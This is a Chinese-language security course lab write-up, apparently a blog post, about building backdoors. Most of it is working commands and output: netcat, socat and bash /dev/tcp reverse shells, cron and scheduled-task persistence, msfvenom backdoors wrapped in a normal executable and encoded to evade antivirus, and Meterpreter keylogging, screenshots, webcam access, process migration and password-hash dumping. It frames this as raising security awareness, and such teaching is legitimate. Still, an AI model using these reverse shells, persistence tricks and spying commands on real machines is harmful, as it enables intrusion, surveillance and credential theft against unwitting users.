1. 学习内容:使用nc实现winmac,Linux间的后门连接
  2. meterpreter的应用
  3. MSF POST 模块的应用
  4. 学习目标:建立一个后门连接是如此的简单,功能又如此强大。通过亲手实践并了解这一事实,从而提高自己的安全意识
  5. 最后编辑:20180221 Wildlinux

后门就是不经过正常认证流程而访问系统的通道。

哪里有后门呢?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

下面是近些年的一些例子:

  1. 编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
  2. 操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
  3. 操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
  4. 固件:更多思科路由器发现后门:中国有4台
  5. 应用:研究人员发现macOS版Skype内置了后门
  6. 应用:从广升“后门”事件看企业道德底线
  7. 应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?

我们接下来讲得是一个相对狭义一点的后门的概念,

  • 特指潜伏于操作系统中专门做后门的一个程序,
  • “坏人”可以连接这个程序
  • 远程执行各种指令。
  • 概念和木马有重叠

  1. * 首先得有这么一个程序
  2. * netcat 系列
  3. * meterpreter
  4. * intersect
  5. * ...特别多
  6. * 其次得放到系统里
  7. * 正版软件故意或被攻击,包含后门
  8. * 正版库文件中包含后门
  9. * 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
  10. * 安装包中包含后门,放到网上供下载
  11. * 绑定到特定文件中,放到网上供下载
  12. * 直接发送恶意程序给你
  13. * 直接发送攻击性钓鱼链接给你,恶意网站种马
  14. * 捡到个U盘,打开个文件看看?
  15. * 煤女帅锅拿U盘直接拷给你
  16. * 攻击系统漏洞,获取控制权后,安装后门
  17. * 再次还得运行起来
  18. * 开机自启动技术
  19. * win的定时任务
  20. * linuxcron
  21. * 伪装成常用软件,诱使用户点击
  22. * 木马化正常软件
  23. * 最后还得不被本机的恶意代码检测程序发现
  24. * 恶意代码免杀技术
  25. * 也不能被本机的或网络上的防火墙发现
  26. * 反弹式连接
  27. * 加密连接
  28. * 隧道技术

从非官方的不安全网站下载免费软件

win:利用任务管理器,选择触发器挑选活动进行触发,例如锁屏重启等
linux:设置任务,利用crontab进行任务添加,最后在设定时间或是其他要求下进行反弹连接被攻击机器进行任务开始。

答:可以获取我的键盘输入,了解我输入的内容,同时可以控制我的摄像头来了解我的所作所为。

答:使用nestat -na查的时候会看到后面开的哪些端口,当开的端口大于1024尤其是4000以上的时候,可能被安装后门,因为现在的许多木马是开的动态端口。当大端口被打开时就需要注意。像鸽子的默认端口就是8000.另外你可以输入net user去查看是不是有其他的用户。如果有的话你在输入net user+这个用户名。查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是!如果你发现一个系统内置的用户是属于administrators组的,那几乎肯定你被入侵了,而且别人在你的计算机上克隆了账户。

  • 2.1 讲怎么用nc获取远程主机的Shell
  • 2.2 讲meterpreter怎么用。

1.关于netcat

是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

  • Linux: 一般自带netcat,”man netcat” 或”man nc”可查看其使用说明。
  • Windows: 课程主页附件中下载ncat.rar解压即可使用。
  • Mac: 系统自带,”man nc”,查看其使用说明。
  • 以下相关指令,实测有效。

以下实践Windows基本Win7-64bit, Kali2-64bit.

1.windows 打开监听

  1. c:\your_nc_dir>ncat.exe -l -p 8888

2.Linux反弹连接win

  1. root@KaliYL:/var/www/html# nc 192.168.20.175 8888 -e /bin/sh

3.windows下获得一个linux shell,可运行任何指令,如ls

  1. c:\your_nc_dir>ncat.exe -l -p 8888 #这条指令是第一步中输入的,不用再输
  2. ls

1.Linux运行监听指令

  1. root@KaliYL:/var/www/html# nc -l -p 8888

2.Windows反弹连接Linux

  1. c:\your_nc_dir>ncat.exe -e cmd.exe ip_of_linux 8888

3.Linux下看到Windows的命令提示

  1. root@KaliYL:/var/www/html# nc -l -p 8888
  2. Microsoft Windows [�汾 6.1.7600]
  3. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
  4. C:\Users\YLWin\Desktop\ncat>

  1. Mac: nc -l 8888
  2. Win: c:\your_nc_dir>ncat.exe -e cmd.exe ip_of_mac 8888
  • Mac系统可以通过“-k”参数,实现连接关闭后自动重新侦听。
  • Mac系统下的nc不支持 “-e” 参数

1.Windows下启动监听

  1. Win: C:\Users\YLWin\Desktop\ncat>ncat.exe -l -p 8888

2.Mac下连接Win

  1. bash -i >& /dev/tcp/ip_of_win/8888 0>&1

3.Win获得Mac的shell

  1. C:\Users\YLWin\Desktop\ncat>ncat.exe -l -p 8888
  2. [?1034hbash-3.2$ uname -a
  3. Darwin localhost 14.5.0 Darwin Kernel Version 14.5.0: Mon Aug 29 21:14:16 PDT 2016; root:xnu-2782.50.6~1/RELEASE_X86_64 x86_64
  4. bash-3.2$
  5. bash-3.2$
  6. bash-3.2$ exit

1.主控端/服务端MAC运行指令如下,8888是nc监听的端口号。

  1. MacBook-Pro:$ nc -l 8888

2.受控端/客户机运行指令如下。其中 192.168.1.106 需要更改为上一步中MAC主机的IP。8888就是上一步中的端口号

  1. root@KaliYL:/var/www/html# bash -i >& /dev/tcp/192.168.1.106/8888 0>&1

nc IP Port -e /bin/sh 可以达到同样的效果

3.MAC主机会显示Linux的命令行提示符,并运行任何Linux指令。

  1. MacBook-Pro:$ nc -l 8888
  2. root@KaliYL:/var/www/html# uname -a
  3. uname -a
  4. Linux KaliYL 4.3.0-kali1-amd64 #1 SMP Debian 4.3.3-5kali4 (2016-01-13) x86_64 GNU/Linux

1.Linux启动监听

  1. root@KaliYL:~# ifconfig
  2. eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  3. inet 192.168.20.154 netmask 255.255.255.0 broadcast 192.168.20.255
  4. root@KaliYL:/var/www/html# nc -l -p 8888

2.Mac连接Linux

  1. localhost:~ $ bash -i >& /dev/tcp/192.168.20.154/8888 0>&1

3.Linux获取Mac Shell

  1. root@KaliYL:/var/www/html# nc -l -p 8888
  2. bash-3.2$
  3. bash-3.2$ uname -a
  4. Darwin localhost 14.5.0 Darwin Kernel Version 14.5.0: Mon Aug 29 21:14:16 PDT 2016; root:xnu-2782.50.6~1/RELEASE_X86_64 x86_64

Start by using nc to listen on a specific port, with output captured into a file:

  1. $ nc -l 1234 > filename.out

Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:

  1. $ nc host.example.com 1234 < filename.in

After the file has been transferred, the connection will close automatically.

1.crontab指令增加一条定时任务,”-e”表示编辑。

  1. root@KaliYL# crontab -e
  2. no crontab for root - using an empty one
  3. Select an editor. To change later, run \'select-editor\'.
  4. 1. /bin/nano <---- easiest
  5. 2. /usr/bin/mcedit
  6. 3. /usr/bin/vim.basic
  7. 4. /usr/bin/vim.gtk
  8. 5. /usr/bin/vim.tiny

2.因为是第一次编辑,故提示选择编辑器,我选择了3,并添加了最后一行。简单说就是在每个小时的第43分钟执行后面的那条指令。

  1. Choose 1-5 [1]: 3
  2. crontab: installing new crontab
  3. # m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
  4. 38 * * * * /bin/netcat 192.168.1.105 8090 -e /bin/sh


3.保存、退出后配置即生效。可以通过”crontab -l”来查看,”-l”表示list。

  1. root@KaliYL# crontab -l
  2. 38 * * * * /bin/netcat 192.168.43.130 2213 -e /bin/sh

4.每个小时到了38分,上面的那条指令就会执行。

5.如果你在另一台主机192.168.1.105让nc侦听在8090端口,那到了38分就会有获得一个shell。实测有效。这就是一个最简单的反弹式后门。你也可以开一个非反弹式的后门,如把cron指令写成”nc -l -p 8087 -e /bin/sh”,你的主控机可以随时连接这个主机”nc IP 8087″,就能获得shell。



到38分的时候可以从主机终端输入命令进行操作

Netcat++,超级netcat工具。

不信?自己看README

windows版见附件。解压即用,不用安装。

任何代理、转发等功能都可以用该工具实现。


1.下载并解压socat软件
2.在主机中找到左下角windows标志,然后右键->计算机管理->任务计划程

3.在常规选项卡中填写任务名称,点击触发器然后新建触发器

4.在操作中,在操作选项卡中导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:2213 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口2213,同时把cmd.exe的stderr重定向到stdout上),创建完成之后,点击确定。

5.创建完成之后,按Windows(本电脑为command)+L快捷键锁定计算机,再次打开时,双击任务计划程序库可以发现之前创建的任务已经开始运行

6.可以看到任务计划程序库已经开始运行的zy2213
7.在kali中输入socat – tcp:192.168.3.26:2224(-代表标准的输入输出,第二个流连接到Windows主机的2224端口,IP为win的IP),成功获得cmd shell

8.将meterpreter hook到其他进程上,可以看到

  1. 测试环境: Kali2-2016.1 最后修改: 2016.08.28 wildlinux
  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令)
    • 扩展功能(如搜集用户信息、安装服务等功能)
    • 编码模式
    • 运行平台
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

典型的平台就包括有:

我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.

揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。

上传成功


在第三个终端中打开msf控制台,依次输入:
use exploit/multi/handler // 使用监听模块,设置payload(攻击荷载)
set payload linux/x86/shell_reverse_tcp // 这里设置为我们下载的那个payload
set LHOST 127.0.0.1 // 原始文件中的主机号和端口号都没改,我们默认使用
set LPORT 4444
show options
exploit // 设置完成,开始监听
在第二个终端中用(cat input_shellcode;cat) | ./pwn1运行
这时发现第三个终端中获得了shell

本次实验我了解到了如何通过后门获取主机信息,当主机防范不彻底的时候,例如防火墙未开启,病毒防护未开启时,通过后门不法分子可以窃取到我们的登录信息,甚至可能通过主机的摄像头获取到使用电脑人员周围身处环境周围一切信息,同时可以通过获取登录人员的照片严重危害到了登陆人员的安全,以及隐私容易被泄漏。在实验的过程中遇到了很多问题,最基础的比如我开始使用的是os系统,很遗憾没找到匹配的后门注入程序,于是转入win系统继续进行实验。在实验过程中也遇到了提权失败的问题,同时开始进行实验的时候仅仅关闭了防火墙,未关闭病毒防护,导致了生成的install.exe文件还来不急进行后门操作就被电脑清理出去无法进行后续实验。综上所述,保护电脑安全很重要,需要认真仔细保护电脑的安全,就是保护自己的安全。

下面指令中用到的 ./KiTTYPortable.exe 是一个普通的windows可执行文件,被我复制了/home/YL/目录下,后门会被写到这个文件中。我做实验时用的是KiTTYPortable.exe,你可以用其他文件代替。不论用哪个可执行文件都可以,但当然需要复制到linux下了。

  1. root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
  2. *** 或者简单点 ***
  3. root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 `PORT=443 -f exe > meter_backdoor.exe

参数说明:

  1. -p 使用的payloadpayload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
  2. -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  3. -e 使用的编码器,用于对shellcode变形,为了免杀。
  4. -i 编码器的迭代次数。如上即使用该编码器编码5次。
  5. -b badcharpayload中需要去除的字符。
  6. LHOST 是反弹回连的IP
  7. LPORT 是回连的端口
  8. -f 生成文件的类型
  9. > 输出到哪个文件
  • 生成的文件当然需要复制到windows中了,当然十之八九杀毒软件会报警并删除该文件,因为是后门吗。所以为了验证共功能,可以临时关闭一会杀毒软件。后面我们会讲到免杀,免杀完的后门杀毒软件就不会被发现了。

在Linux如下操作至 ‘exploit\’一步;

  1. root@KaliYL:/home/YL# msfconsole
  2. msf > use exploit/multi/handler
  3. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  4. payload => windows/meterpreter/reverse_tcp
  5. msf exploit(handler) > show options
  6. Module options (exploit/multi/handler):
  7. Name Current Setting Required Description
  8. ---- --------------- -------- -----------
  9. Payload options (windows/meterpreter/reverse_tcp):
  10. Name Current Setting Required Description
  11. ---- --------------- -------- -----------
  12. EXITFUNC process yes Exit technique (Accepted: \'\', seh, thread, process, none)
  13. LHOST yes The listen address
  14. LPORT 443 yes The listen port
  15. msf exploit(handler) > set LHOST 192.168.20.136
  16. LHOST => 192.168.20.136
  17. msf exploit(handler) > exploit
  18. [*] Started reverse TCP handler on 192.168.20.136:443
  19. [*] Starting the payload handler...

说明:

  1. LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.20.136;
  2. LPORT也需要和上一步生成backdoor.exe的一致,即443;
  3. payload也要一致,即windows/meterpreter/reverse_tcp。

Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell:

  1. [*] Sending stage (957999 bytes) to 192.168.20.176
  2. [*] Meterpreter session 1 opened (192.168.20.136:443 -> 192.168.20.176:50169) at 2016-08-28 21:38:22 +0800
  3. meterpreter >
  4. meterpreter > dir
  5. Listing Z:\yudong\PortableApps\KiTTYPortable
  6. *=============================================*
  7. Mode Size Type Last modified Name
  8. ---- ---- ---- ------------- ----
  9. 40777/rwxrwxrwx 170 dir 2014-08-21 18:13:08 +0800 App
  10. 40777/rwxrwxrwx 374 dir 2016-08-12 00:33:48 +0800 Data
  11. 100777/rwxrwxrwx 173040 fil 2014-06-26 06:52:12 +0800 KiTTYPortable.exe
  12. 100777/rwxrwxrwx 173040 fil 2016-08-28 21:26:40 +0800 KiTTy_backdoor.exe
  13. 40777/rwxrwxrwx 136 dir 2014-08-21 18:13:13 +0800 Other
  14. 100666/rw-rw-rw- 5347 fil 2012-06-28 09:11:58 +0800 help.html

1.help 当然是我心中的最佳人气奖不二人选。help一输一身轻松,妈妈再也不担心我忘记指令了。当然是全E文。中文都是我输的。

  1. meterpreter > help
  2. Core Commands第一部分是核心指令
  3. =============
  4. Command Description
  5. ------- -----------
  6. ? Help menu
  7. background Backgrounds the current session
  8. bgkill Kills a background meterpreter script
  9. bglist Lists running background scripts
  10. bgrun Executes a meterpreter script as a background thread
  11. channel Displays information or control active channels
  12. close Closes a channel
  13. disable_unicode_encoding Disables encoding of unicode strings
  14. enable_unicode_encoding Enables encoding of unicode strings
  15. exit Terminate the meterpreter session
  16. get_timeouts Get the current session timeout values
  17. help Help menu
  18. info Displays information about a Post module
  19. irb Drop into irb scripting mode
  20. load Load one or more meterpreter extensions
  21. machine_id Get the MSF ID of the machine attached to the session
  22. migrate Migrate the server to another process
  23. quit Terminate the meterpreter session
  24. read Reads data from a channel
  25. resource Run the commands stored in a file
  26. run Executes a meterpreter script or Post module
  27. set_timeouts Set the current session timeout values
  28. sleep Force Meterpreter to go quiet, then re-establish session.
  29. transport Change the current transport mechanism
  30. use Deprecated alias for \'load\'
  31. uuid Get the UUID for the current session
  32. write Writes data to a channel
  33. Stdapi: File system Commands第二部分是文件系统相关的
  34. ============================
  35. Command Description
  36. ------- -----------
  37. cat Read the contents of a file to the screen
  38. cd Change directory
  39. dir List files (alias for ls)
  40. download Download a file or directory
  41. edit Edit a file
  42. getlwd Print local working directory
  43. getwd Print working directory
  44. lcd Change local working directory
  45. lpwd Print local working directory
  46. ls List files
  47. mkdir Make directory
  48. mv Move source to destination
  49. pwd Print working directory
  50. rm Delete the specified file
  51. rmdir Remove directory
  52. search Search for files
  53. show_mount List all mount points/logical drives
  54. upload Upload a file or directory
  55. Stdapi: Networking Commands当然少不了网络操作的了
  56. ===========================
  57. Command Description
  58. ------- -----------
  59. arp Display the host ARP cache
  60. getproxy Display the current proxy configuration
  61. ifconfig Display interfaces
  62. ipconfig Display interfaces
  63. netstat Display the network connections
  64. portfwd Forward a local port to a remote service
  65. resolve Resolve a set of host names on the target
  66. route View and modify the routing table
  67. Stdapi: System Commands系统指令
  68. =======================
  69. Command Description
  70. ------- -----------
  71. clearev Clear the event log
  72. drop_token Relinquishes any active impersonation token.
  73. execute Execute a command
  74. getenv Get one or more environment variable values
  75. getpid Get the current process identifier
  76. getprivs Attempt to enable all privileges available to the current process
  77. getsid Get the SID of the user that the server is running as
  78. getuid Get the user that the server is running as
  79. kill Terminate a process
  80. ps List running processes
  81. reboot Reboots the remote computer
  82. reg Modify and interact with the remote registry
  83. rev2self Calls RevertToSelf() on the remote machine
  84. shell Drop into a system command shell
  85. shutdown Shuts down the remote computer
  86. steal_token Attempts to steal an impersonation token from the target process
  87. suspend Suspends or resumes a list of processes
  88. sysinfo Gets information about the remote system, such as OS
  89. Stdapi: User interface Commands用户接口,哇还可以抓取击键记录呢
  90. ===============================
  91. Command Description
  92. ------- -----------
  93. enumdesktops List all accessible desktops and window stations
  94. getdesktop Get the current meterpreter desktop
  95. idletime Returns the number of seconds the remote user has been idle
  96. keyscan_dump Dump the keystroke buffer
  97. keyscan_start Start capturing keystrokes
  98. keyscan_stop Stop capturing keystrokes
  99. screenshot Grab a screenshot of the interactive desktop
  100. setdesktop Change the meterpreters current desktop
  101. uictl Control some of the user interface components
  102. Stdapi: Webcam Commands 什么?Video?昨天哪位同学问我来着?测试Win7可拍摄。
  103. =======================
  104. Command Description
  105. ------- -----------
  106. record_mic Record audio from the default microphone for X seconds
  107. webcam_chat Start a video chat
  108. webcam_list List webcams
  109. webcam_snap Take a snapshot from the specified webcam
  110. webcam_stream Play a video stream from the specified webcam
  111. Priv: Elevate Commands提权
  112. ======================
  113. Command Description
  114. ------- -----------
  115. getsystem Attempt to elevate your privilege to that of local system.
  116. ***我的win7没成功***
  117. Priv: Password database Commands导出密码文件SAM
  118. ================================
  119. Command Description
  120. ------- -----------
  121. hashdump Dumps the contents of the SAM database
  122. ***我的win7没成功***
  123. Priv: Timestomp Commands修改文件操作时间,清理现场用
  124. ========================
  125. Command Description
  126. ------- -----------
  127. timestomp Manipulate file MACE attributes
  128. 这么多好玩的指令,都想试试呢,简直停不下来。

2.获取Windows命令行界面,以方便执行Windows内置功能指令,exit退出。

  1. meterpreter > shell
  2. Process 8984 created.
  3. Channel 1 created.
  4. Microsoft Windows [�汾 6.1.7600]
  5. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
  6. C:\Users\YLWin\Desktop>exit
  7. exit
  8. meterpreter >

3.获取ruby交互界面,exit退出。如果你行,甚至可以用ruby直接编程(PS:我不会,所以就不多说了)。具说可以调用windows任何API。可参考《Metasploit魔鬼训练营》第九章,有一个小例子。

  1. meterpreter > irb
  2. [*] Starting IRB shell
  3. [*] The \'client\' variable holds the meterpreter client
  4. >> client.sys.config.sysinfo()
  5. => {"Computer"=>"YLWIN-PC", "OS"=>"Windows 7 (Build 7600).", "Architecture"=>"x64 (Current Process is WOW64)", "System Language"=>"zh_CN", "Domain"=>"WORKGROUP", "Logged On Users"=>3}
  6. >>exit
  7. meterpreter >

4.玩个进程和和迁移吧,把meterpreter HOOK到其他进程上,这样就不用怕用户把当前这个进程关闭了。

  1. meterpreter > ps
  2. Process List
  3. ============
  4. PID PPID Name Arch Session User Path
  5. --- ---- ---- ---- ------- ---- ----
  6. 0 0 [System Process]
  7. ...会有好多进程,我就略过了...
  8. 4312 9376 iexplore.exe x86 1 YLWin-PC\YLWin C:\Program Files (x86)\Internet Explorer\iexplore.exe 发现IE,就迁移到它吧。
  9. meterpreter > migrate 4312
  10. [*] Migrating from 8656 to 4312...
  11. [*] Migration completed successfully.
  12. meterpreter > getpid
  13. Current pid: 4312 耶,成功!
  14. meterpreter >
  15. *** PS: windows下,以管理员权限运行"命令行",输入"netstat -bn",可以查看是哪个exe在连接meterpreter ***

5.抓个图,偷个登陆密码啥的吧

  1. meterpreter > screenshot
  2. Screenshot saved to: /usr/share/intersect/Scripts/rWjouIAU.jpeg
  3. *** 打开jpeg看看,能发现什么 ***
  4. meterpreter > ps
  5. Process list
  6. =================
  7. PID Name Path
  8. --- ---- ----
  9. 401 winlogon.exe C:\WINNT\system32\winlogon.exe
  10. meterpreter > migrate 401
  11. [*] Migrating to 401...
  12. [*] Migration completed successfully.
  13. meterpreter > keyscan_start
  14. Starting the keystroke sniffer...
  15. **** 过了一会,隔壁的管理员来了,很自然登陆了系统看看... ****
  16. meterpreter > keyscan_dump
  17. Dumping captured keystrokes...
  18. Administrator ohnoes1vebeenh4x0red!
  19. *** 想窃听哪个进程,得先迁移过去哦 ***

MSF自带非常多的POST模块,这些模块都可以在meterpreter下使用。所谓POST模块,也就是在获得系统初步控制权后可能用到的攻击模块。

  1. *** 针对WindowsPOST模块主要有以下一些,这些既是目录名,其实也相当于是POST模块的类型 ***
  2. root@KaliYL:/usr/share/metasploit-framework/modules/post/windows# ls
  3. capture escalate gather manage recon wlan
  4. ***信息抓取 提权 信息搜集 管理 recon 无线 ***

POST使用很简单,在获取meterpreter会话后,会两条基本指令:info 查看POST的说明,run 运行POST,即可。具体有哪些POST可用,可以进到上面那些目录中看。

  1. *** 这个POST是用来检查被控机是否是虚拟机 ***
  2. meterpreter > info post/windows/gather/checkvm
  3. Basic options:
  4. Name Current Setting Required Description
  5. ---- --------------- -------- -----------
  6. SESSION yes The session to run this module on.
  7. Description:
  8. This module attempts to determine whether the system is running
  9. inside of a virtual environment and if so, which one. This module
  10. supports detectoin of Hyper-V, VMWare, Virtual PC, VirtualBox, Xen,
  11. and QEMU.
  12. *** run ***
  13. meterpreter > run post/windows/gather/checkvm
  14. [*] Checking if YLWIN-PC is a Virtual Machine .....
  15. [*] This is a VMware Virtual Machine
  16. meterpreter >
  17. ***试着导出密码呢!提示需要SYSTEM权限才可以!建议是migrate到一个服务进程试试!试了几个迁移失败。***
  18. meterpreter > run post/windows/gather/hashdump
  19. [*] Obtaining the boot key...
  20. [*] Calculating the hboot key using SYSKEY e791bff46194c82f87e08b89c249535b...
  21. [-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
  22. [-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
  23. ***试试键盘记录***
  24. meterpreter > run post/windows/capture/keylog_recorder
  25. [*] Executing module against YLWIN-PC
  26. [*] Starting the keylog recorder...
  27. [*] Keystrokes being saved in to /root/.msf4/loot/20161026094348_default_192.168.20.145_host.windows.key_150214.txt
  28. [*] Recording keystrokes...
  29. ***CTL+C 结束记录***
  30. ^C[*] User interrupt.
  31. [*] Shutting down keylog recorder. Please wait...
  32. meterpreter >
  33. ***都在这个文件中了:/root/.msf4/loot/20161026094348_default_192.168.20.145_host.windows.key_150214.txt
  34. ***

两种方式《Metasploit魔鬼训练营》411页有。

1.run persistence

  1. *** 一定学会看帮助 ***
  2. meterpreter > run persistence -h
  3. Meterpreter Script for creating a persistent backdoor on a target host.
  4. OPTIONS:
  5. -A Automatically start a matching exploit/multi/handler to connect to the agent
  6. -L <opt> Location in target host to write payload to, if none %TEMP% will be used.
  7. -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
  8. -S Automatically start the agent on boot as a service (with SYSTEM privileges)
  9. -T <opt> Alternate executable template to use
  10. -U Automatically start the agent when the User logs on
  11. -X Automatically start the agent when the system boots
  12. -h This help menu
  13. -i <opt> The interval in seconds between each connection attempt
  14. -p <opt> The port on which the system running Metasploit is listening
  15. -r <opt> The IP of the system running Metasploit listening for the connect back
  16. ***试试,不成功,因为最后没有成功的输出 ***
  17. meterpreter > run persistence -U -i 5 -p 443 -r 192.168.20.136
  18. [*] Running Persistence Script
  19. [*] Resource file for cleanup created at /root/.msf4/logs/persistence/YLWIN-PC_20161026.0846/YLWIN-PC_20161026.0846.rc
  20. [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443
  21. [*] Persistent agent script is 99614 bytes long
  22. meterpreter >

2.run metsvc

  1. ***不成功,可能原因是:当前进程没有SYSTEM权限。归结到一个问题:如何提权?***
  2. meterpreter > run metsvc
  3. [*] Creating a meterpreter service on port 31337
  4. meterpreter >

3.其他

对于我们这种场景就简单了,应用已经在系统时了,让它自启动就可以了。加计划任务,或手工修改注册表的可以。


新建任务计划

触发器

  1. 当锁定任何用户的工作站时

操作->程序或脚本

  1. c:\Users\YLWin\Desktop\ncat\ncat.exe

操作->添加参数:

  1. -e cmd.exe 192.168.1.105 8080

在主控机192.168.1.105:8080上打开nc,每当受控机用户锁定时,都会连接到192.168.1.105:8080.实测有效。

powershell是微软的增强shell,在现在发行的Windows(如Win7)都内置了。你可以在”运行”中输入”powershell”,就会得到一个和cmd.exe窗口看起来一样的东东。不过它支持几乎所有的Windows操作。凡是图形界面可以做的,powershell下都可以做。也支持脚本编程。

一个副作用就是,powershell脚本写成恶意代码,杀毒软件几乎检测不出来(可能是用的少,杀毒软件不检测)。

powershell下也有类似netcat的powercat。可以做后门。

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以”man cron”。

1.crontab指令增加一条定时任务,”-e”表示编辑。

  1. root@KaliYL# crontab -e
  2. no crontab for root - using an empty one
  3. Select an editor. To change later, run \'select-editor\'.
  4. 1. /bin/nano <---- easiest
  5. 2. /usr/bin/mcedit
  6. 3. /usr/bin/vim.basic
  7. 4. /usr/bin/vim.gtk
  8. 5. /usr/bin/vim.tiny

2.因为是第一次编辑,故提示选择编辑器,我选择了3,并添加了最后一行。简单说就是在每个小时的第43分钟执行后面的那条指令。

  1. Choose 1-5 [1]: 3
  2. crontab: installing new crontab
  3. # m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
  4. 43 * * * * /bin/netcat 192.168.1.105 8090 -e /bin/sh

3.保存、退出后配置即生效。可以通过”crontab -l”来查看,”-l”表示list。

  1. root@KaliYL# crontab -l
  2. 43 * * * * /bin/netcat 192.168.1.105 8090 -e /bin/sh

4.每个小时到了43分,上面的那条指令就会执行。

5.如果你在另一台主机192.168.1.105让nc侦听在8090端口,那到了43分就会有获得一个shell。实测有效。这就是一个最简单的反弹式后门。你也可以开一个非反弹式的后门,如把cron指令写成”nc -l -p 8087 -e /bin/sh”,你的主控机可以随时连接这个主机”nc IP 8087″,就能获得shell。

Linux启动中的运行的脚本

上届免考


DNS Tunnel


Veil Evasion


版权声明:本文为Mellivorac原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Mellivorac/p/14586227.html